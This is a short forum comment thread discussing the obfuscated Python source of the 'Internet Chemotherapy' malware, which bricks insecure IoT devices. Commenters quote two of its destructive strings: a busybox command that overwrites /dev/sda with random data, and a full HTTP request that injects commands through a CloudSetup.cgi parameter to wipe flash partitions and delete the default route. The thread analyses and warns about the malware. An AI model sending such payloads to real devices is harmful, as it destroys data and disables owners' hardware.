Internet Chemotherapy

Re:Internet Chemotherapy by pdkl95 on Sunday December 17, 2017 @12:08PM (#15946554)

just found this: https://github.com/JeremyNGalloway/mod_plaintext.py

edit: I would recommend extreme caution with that file. I'm still reading, but strings like this are worrying:

    'busybox cat /dev/urandom >/dev/sda &'

[ Parent | on HN ]

Re:Internet Chemotherapy by catfood on Sunday December 17, 2017 @05:43PM (#15948103)

Check this one out:

'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'

[ Parent | on HN ]

Re:Internet Chemotherapy by Operyl on Sunday December 17, 2017 @01:29PM (#15946939)

Holy obfuscated Python, that's quite the jumbled mess. This is going to be a fun one to pick apart.

I don't think the string is .. worrying on its own given that, you know, this thing is meant to kill IOT/etc devices that are insecure. I'd argue that just given the source (the internet) is enough reason to be wary.

[ Parent | on HN ]

Re:Internet Chemotherapy by laretluval on Sunday December 17, 2017 @01:22PM (#15946909)

Fascinating.

What's up with all the stuff like "if 81 - 81: ..."? Won't that just evaluate to false and never run?

[ Parent | on HN ]

Re:Internet Chemotherapy by marten-de-vries on Sunday December 17, 2017 @01:36PM (#15946972)

Exactly. It's there to (very mildly) confuse you.

[ Parent | on HN ]

Re:Internet Chemotherapy by sattoshi on Sunday December 17, 2017 @01:26PM (#15946926)

perhaps that's how vulnerable devices were bricked?

[ Parent | on HN ]

Re:Internet Chemotherapy by AlexCoventry on Sunday December 17, 2017 @12:43PM (#15946728)

Thanks.

[ Parent | on HN ]